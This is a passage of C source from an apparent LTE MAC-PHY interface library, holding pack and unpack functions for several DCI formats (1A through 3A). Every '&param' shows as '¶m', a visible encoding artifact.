CMCHKUNPK(SUnpkU8, ¶m->isAllocType0, mBuf);
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
for (i=0; i<TFU_MAX_ALLOC_BYTES; i++) {
CMCHKUNPK(SUnpkU8, ¶m->resAllocMap[i], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->harqProcId, mBuf);
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
for (i=0; i<=1; i++) {
CMCHKUNPK(cmUnpkTfuDciFormatTbInfo, ¶m->tbInfo[i], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->precoding, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->transSwap, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat2AInfo
*
*
* Desc : This structure contains the information carried by DCI format 2A.
* @details It carries the allocation information and other control information.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat2AInfo
(
TfuDciFormat2AInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat2AInfo(param, mBuf)
TfuDciFormat2AInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormat2AInfo)
CMCHKPK(SPkU8, param->tpcCmd, mBuf);
#ifdef TFU_TDD
CMCHKPK(SPkU8, param->dai, mBuf);
#endif
CMCHKPK(cmPkTfuDciFormat2AAllocInfo, ¶m->allocInfo, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat2AInfo
*
*
* Desc : This structure contains the information carried by DCI format 2A.
* @details It carries the allocation information and other control information.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat2AInfo
(
TfuDciFormat2AInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat2AInfo(param, mBuf)
TfuDciFormat2AInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormat2AInfo)
CMCHKUNPK(cmUnpkTfuDciFormat2AAllocInfo, ¶m->allocInfo, mBuf);
#ifdef TFU_TDD
CMCHKUNPK(SUnpkU8, ¶m->dai, mBuf);
#endif
CMCHKUNPK(SUnpkU8, ¶m->tpcCmd, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat2AllocInfo
*
*
* Desc : This structure contains only the allocation information, that is part
* of DCI format 2.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat2Info
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat2AllocInfo
(
TfuDciFormat2AllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat2AllocInfo(param, mBuf)
TfuDciFormat2AllocInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuDciFormat2AllocInfo)
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
for (i=1; i >= 0; i--) {
CMCHKPK(cmPkTfuDciFormatTbInfo, ¶m->tbInfo[i], mBuf);
}
CMCHKPK(SPkU8, param->harqProcId, mBuf);
CMCHKPK(SPkU8, param->precoding, mBuf);
CMCHKPK(SPkU8, param->transSwap, mBuf);
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
#ifdef TFU_TDD
CMCHKPK(SPkU8, param->dai, mBuf);
#endif
for (i=TFU_MAX_ALLOC_BYTES-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->resAllocMap[i], mBuf);
}
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
CMCHKPK(SPkU8, param->isAllocType0, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat2AllocInfo
*
*
* Desc : This structure contains only the allocation information, that is part
* of DCI format 2.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat2Info
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat2AllocInfo
(
TfuDciFormat2AllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat2AllocInfo(param, mBuf)
TfuDciFormat2AllocInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuDciFormat2AllocInfo)
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
CMCHKUNPK(SUnpkU8, ¶m->isAllocType0, mBuf);
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
for (i=0; i<TFU_MAX_ALLOC_BYTES; i++) {
CMCHKUNPK(SUnpkU8, ¶m->resAllocMap[i], mBuf);
}
#ifdef TFU_TDD
CMCHKUNPK(SUnpkU8, ¶m->dai, mBuf);
#endif
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
CMCHKUNPK(SUnpkU8, ¶m->transSwap, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->precoding, mBuf);
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
CMCHKUNPK(SUnpkU8, ¶m->harqProcId, mBuf);
for (i=0; i<=1; i++) {
CMCHKUNPK(cmUnpkTfuDciFormatTbInfo, ¶m->tbInfo[i], mBuf);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat2Info
*
*
* Desc : This structure contains the information carried by DCI format 2.
* @details Allocation information is separated from the other control
* information carried in this format. This separation is needed as Data must
* also carry some control information, essentially, allocation information
* along with it, in order to aid physical layer processing of the data.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat2Info
(
TfuDciFormat2Info *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat2Info(param, mBuf)
TfuDciFormat2Info *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormat2Info)
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
#ifdef TFU_TDD
CMCHKPK(SPkU8, param->dai, mBuf);
#endif
CMCHKPK(SPkU8, param->tpcCmd, mBuf);
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
CMCHKPK(cmPkTfuDciFormat2AllocInfo, ¶m->allocInfo, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat2Info
*
*
* Desc : This structure contains the information carried by DCI format 2.
* @details Allocation information is separated from the other control
* information carried in this format. This separation is needed as Data must
* also carry some control information, essentially, allocation information
* along with it, in order to aid physical layer processing of the data.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat2Info
(
TfuDciFormat2Info *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat2Info(param, mBuf)
TfuDciFormat2Info *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormat2Info)
CMCHKUNPK(cmUnpkTfuDciFormat2AllocInfo, ¶m->allocInfo, mBuf);
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
CMCHKUNPK(SUnpkU8, ¶m->tpcCmd, mBuf);
/* tfu_c_001.main_4 - Changes for MIMO feature addition */
/* tfu_c_001.main_5 - Removed dependency on MIMO compile-time flag */
#ifdef TFU_TDD
CMCHKUNPK(SUnpkU8, ¶m->dai, mBuf);
#endif
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat3Info
*
*
* Desc : This structure contains the information carried in DCI format 3.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat3Info
(
TfuDciFormat3Info *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat3Info(param, mBuf)
TfuDciFormat3Info *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuDciFormat3Info)
CMCHKPK(SPkU8, param->isPucch, mBuf);
for (i=TFU_MAX_2BIT_TPC-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->tpcCmd[i], mBuf);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat3Info
*
*
* Desc : This structure contains the information carried in DCI format 3.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat3Info
(
TfuDciFormat3Info *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat3Info(param, mBuf)
TfuDciFormat3Info *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuDciFormat3Info)
for (i=0; i<TFU_MAX_2BIT_TPC; i++) {
CMCHKUNPK(SUnpkU8, ¶m->tpcCmd[i], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->isPucch, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat3AInfo
*
*
* Desc : This structure contains the information carried by DCI format 3A.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat3AInfo
(
TfuDciFormat3AInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat3AInfo(param, mBuf)
TfuDciFormat3AInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmPkTfuDciFormat3AInfo)
CMCHKPK(SPkU8, param->isPucch, mBuf);
for (i=TFU_MAX_2BIT_TPC-1; i >= 0; i--) {
CMCHKPK(SPkU8, param->tpcCmd[i], mBuf);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat3AInfo
*
*
* Desc : This structure contains the information carried by DCI format 3A.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat3AInfo
(
TfuDciFormat3AInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat3AInfo(param, mBuf)
TfuDciFormat3AInfo *param;
Buffer *mBuf;
#endif
{
S32 i;
TRC3(cmUnpkTfuDciFormat3AInfo)
for (i=0; i<TFU_MAX_2BIT_TPC; i++) {
CMCHKUNPK(SUnpkU8, ¶m->tpcCmd[i], mBuf);
}
CMCHKUNPK(SUnpkU8, ¶m->isPucch, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat1dAllocInfo
*
*
* Desc : This structure contains only the allocation information, thats part
* of DCI format 1D.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink Data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat1dInfo
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat1dAllocInfo
(
TfuDciFormat1dAllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat1dAllocInfo(param, mBuf)
TfuDciFormat1dAllocInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormat1dAllocInfo)
CMCHKPK(SPkU8, param->tPmi, mBuf);
CMCHKPK(SPkU8, param->rv, mBuf);
CMCHKPK(SPkU8, param->mcs, mBuf);
CMCHKPK(cmPkTfuAllocMapOrRiv, ¶m->alloc, mBuf);
CMCHKPK(cmPkTknU8, ¶m->nGap2, mBuf);
CMCHKPK(SPkU8, param->isLocal, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat1dAllocInfo
*
*
* Desc : This structure contains only the allocation information, thats part
* of DCI format 1D.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink Data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat1dInfo
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat1dAllocInfo
(
TfuDciFormat1dAllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat1dAllocInfo(param, mBuf)
TfuDciFormat1dAllocInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormat1dAllocInfo)
CMCHKUNPK(SUnpkU8, ¶m->isLocal, mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->nGap2, mBuf);
CMCHKUNPK(cmUnpkTfuAllocMapOrRiv, ¶m->alloc, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->mcs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rv, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->tPmi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat1dInfo
*
*
* Desc : This structure contains the information carried by DCI format 1D.
* @details Allocation information is separated from the other control
* information carried in this format. This separation is needed as Data shall
* also carry some control information, essentially allocation information,
* along with it, in order to aid physical layer processing of the data.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat1dInfo
(
TfuDciFormat1dInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat1dInfo(param, mBuf)
TfuDciFormat1dInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormat1dInfo)
CMCHKPK(SPkU8, param->dlPwrOffset, mBuf);
#ifdef TFU_TDD
CMCHKPK(SPkU8, param->dai, mBuf);
#endif
CMCHKPK(SPkU8, param->tpcCmd, mBuf);
CMCHKPK(SPkU8, param->ndi, mBuf);
CMCHKPK(SPkU8, param->harqProcId, mBuf);
CMCHKPK(cmPkTfuDciFormat1dAllocInfo, ¶m->allocInfo, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat1dInfo
*
*
* Desc : This structure contains the information carried by DCI format 1D.
* @details Allocation information is separated from the other control
* information carried in this format. This separation is needed as Data shall
* also carry some control information, essentially allocation information,
* along with it, in order to aid physical layer processing of the data.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat1dInfo
(
TfuDciFormat1dInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat1dInfo(param, mBuf)
TfuDciFormat1dInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormat1dInfo)
CMCHKUNPK(cmUnpkTfuDciFormat1dAllocInfo, ¶m->allocInfo, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->harqProcId, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->ndi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->tpcCmd, mBuf);
#ifdef TFU_TDD
CMCHKUNPK(SUnpkU8, ¶m->dai, mBuf);
#endif
CMCHKUNPK(SUnpkU8, ¶m->dlPwrOffset, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat1cInfo
*
*
* Desc : This structure contains only the allocation information, thats part
* of DCI format 1C.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink Data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat1CInfo
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat1cInfo
(
TfuDciFormat1cInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat1cInfo(param, mBuf)
TfuDciFormat1cInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormat1cInfo)
CMCHKPK(SPkU8, param->iTbs, mBuf);
CMCHKPK(cmPkTfuAllocMapOrRiv, ¶m->alloc, mBuf);
CMCHKPK(cmPkTknU8, ¶m->nGap2, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat1cInfo
*
*
* Desc : This structure contains only the allocation information, thats part
* of DCI format 1C.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink Data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat1CInfo
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat1cInfo
(
TfuDciFormat1cInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat1cInfo(param, mBuf)
TfuDciFormat1cInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormat1cInfo)
CMCHKUNPK(cmUnpkTknU8, ¶m->nGap2, mBuf);
CMCHKUNPK(cmUnpkTfuAllocMapOrRiv, ¶m->alloc, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->iTbs, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat1bAllocInfo
*
*
* Desc : This structure contains only the allocation information, thats part
* of DCI format 1 B.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink Data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat1BInfo
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat1bAllocInfo
(
TfuDciFormat1bAllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat1bAllocInfo(param, mBuf)
TfuDciFormat1bAllocInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormat1bAllocInfo)
CMCHKPK(SPkU8, param->pmiCfm, mBuf);
CMCHKPK(SPkU8, param->tPmi, mBuf);
CMCHKPK(SPkU8, param->ndi, mBuf);
CMCHKPK(SPkU8, param->harqProcId, mBuf);
CMCHKPK(SPkU8, param->rv, mBuf);
CMCHKPK(SPkU8, param->mcs, mBuf);
CMCHKPK(cmPkTfuAllocMapOrRiv, ¶m->alloc, mBuf);
CMCHKPK(cmPkTknU8, ¶m->nGap2, mBuf);
CMCHKPK(SPkU8, param->isLocal, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat1bAllocInfo
*
*
* Desc : This structure contains only the allocation information, thats part
* of DCI format 1 B.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink Data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat1BInfo
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat1bAllocInfo
(
TfuDciFormat1bAllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat1bAllocInfo(param, mBuf)
TfuDciFormat1bAllocInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormat1bAllocInfo)
CMCHKUNPK(SUnpkU8, ¶m->isLocal, mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->nGap2, mBuf);
CMCHKUNPK(cmUnpkTfuAllocMapOrRiv, ¶m->alloc, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->mcs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rv, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->harqProcId, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->ndi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->tPmi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->pmiCfm, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuPdcchOrderInfo
*
*
* Desc : This structure contains the information that is carried in DCI
* format 1A in the case of a PDCCH order.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuPdcchOrderInfo
(
TfuPdcchOrderInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuPdcchOrderInfo(param, mBuf)
TfuPdcchOrderInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuPdcchOrderInfo)
CMCHKPK(SPkU8, param->prachMaskIdx, mBuf);
CMCHKPK(SPkU8, param->preambleIdx, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuPdcchOrderInfo
*
*
* Desc : This structure contains the information that is carried in DCI
* format 1A in the case of a PDCCH order.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuPdcchOrderInfo
(
TfuPdcchOrderInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuPdcchOrderInfo(param, mBuf)
TfuPdcchOrderInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuPdcchOrderInfo)
CMCHKUNPK(SUnpkU8, ¶m->preambleIdx, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->prachMaskIdx, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat1aAllocInfo
*
*
* Desc : This structure contains only the allocation information, thats part
* of DCI format 1A.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink Data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat1AInfo
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat1aAllocInfo
(
TfuDciFormat1aAllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat1aAllocInfo(param, mBuf)
TfuDciFormat1aAllocInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormat1aAllocInfo)
CMCHKPK(SPkU8, param->ndi, mBuf);
CMCHKPK(cmPkTknU8, ¶m->harqProcId, mBuf);
CMCHKPK(SPkU8, param->rv, mBuf);
CMCHKPK(SPkU8, param->mcs, mBuf);
CMCHKPK(cmPkTfuAllocMapOrRiv, ¶m->alloc, mBuf);
CMCHKPK(cmPkTknU8, ¶m->nGap2, mBuf);
CMCHKPK(SPkU8, param->isLocal, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat1aAllocInfo
*
*
* Desc : This structure contains only the allocation information, thats part
* of DCI format 1A.
* @details Allocation information also contains parameters necessary
* for Physical layer to process Downlink Data. This structure accompanies the
* Data that is sent from MAC to PHY in the TfUiTfuDatReq primitive.
* @sa TfuDciFormat1AInfo
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat1aAllocInfo
(
TfuDciFormat1aAllocInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat1aAllocInfo(param, mBuf)
TfuDciFormat1aAllocInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormat1aAllocInfo)
CMCHKUNPK(SUnpkU8, ¶m->isLocal, mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->nGap2, mBuf);
CMCHKUNPK(cmUnpkTfuAllocMapOrRiv, ¶m->alloc, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->mcs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rv, mBuf);
CMCHKUNPK(cmUnpkTknU8, ¶m->harqProcId, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->ndi, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfudciformat1aPdsch
*
*
* Desc : This structure contains the information carried in DCI format 1A
* when it is NOT used for a PDCCH order.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfudciformat1aPdsch
(
Tfudciformat1aPdsch *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfudciformat1aPdsch(param, mBuf)
Tfudciformat1aPdsch *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfudciformat1aPdsch)
CMCHKPK(SPkU8, param->tpcCmd, mBuf);
#ifdef TFU_TDD
CMCHKPK(cmPkTknU8, ¶m->dai, mBuf);
#endif
CMCHKPK(cmPkTfuDciFormat1aAllocInfo, ¶m->allocInfo, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfudciformat1aPdsch
*
*
* Desc : This structure contains the information carried in DCI format 1A
* when it is NOT used for a PDCCH order.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfudciformat1aPdsch
(
Tfudciformat1aPdsch *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfudciformat1aPdsch(param, mBuf)
Tfudciformat1aPdsch *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfudciformat1aPdsch)
CMCHKUNPK(cmUnpkTfuDciFormat1aAllocInfo, ¶m->allocInfo, mBuf);
#ifdef TFU_TDD
CMCHKUNPK(cmUnpkTknU8, ¶m->dai, mBuf);
#endif
CMCHKUNPK(SUnpkU8, ¶m->tpcCmd, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat1aInfo
*
*
* Desc : This structure contains the information needed to convey DCI format 1A.
* @details Format can possibly carry PDSCH allocation or information needed for
* a PDCCH order, used to initiate a RACH procedure in cases where UE looses
* sync with eNodeB.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat1aInfo
(
TfuDciFormat1aInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat1aInfo(param, mBuf)
TfuDciFormat1aInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormat1aInfo)
switch(param->isPdcchOrder) {
case FALSE:
CMCHKPK(cmPkTfudciformat1aPdsch, ¶m->t.pdschInfo, mBuf);
break;
case TRUE:
CMCHKPK(cmPkTfuPdcchOrderInfo, ¶m->t.pdcchOrder, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU8, param->isPdcchOrder, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat1aInfo
*
*
* Desc : This structure contains the information needed to convey DCI format 1A.
* @details Format can possibly carry PDSCH allocation or information needed for
* a PDCCH order, used to initiate a RACH procedure in cases where UE looses
* sync with eNodeB.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuDciFormat1aInfo
(
TfuDciFormat1aInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuDciFormat1aInfo(param, mBuf)
TfuDciFormat1aInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuDciFormat1aInfo)
CMCHKUNPK(SUnpkU8, ¶m->isPdcchOrder, mBuf);
switch(param->isPdcchOrder) {
case TRUE:
CMCHKUNPK(cmUnpkTfuPdcchOrderInfo, ¶m->t.pdcchOrder, mBuf);
break;
case FALSE:
CMCHKUNPK(cmUnpkTfudciformat1aPdsch, ¶m->t.pdschInfo, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuDciFormat1bInfo
*
*
* Desc : This structure contains the information needed to convey DCI format 1A.
* @details Allocation information is separated from the other control
* information carried in this format. This separation is needed as Data shall
* also carry some control information, essentially allocation information,
* along with it, in order to aid physical layer processing of the data.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuDciFormat1bInfo
(
TfuDciFormat1bInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuDciFormat1bInfo(param, mBuf)
TfuDciFormat1bInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuDciFormat1bInfo)
CMCHKPK(SPkU8, param->tpcCmd, mBuf);
#ifdef TFU_TDD
CMCHKPK(SPkU8, param->dai, mBuf);
#endif
CMCHKPK(cmPkTfuDciFormat1bAllocInfo, ¶m->allocInfo, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuDciFormat1bInfo
*
*
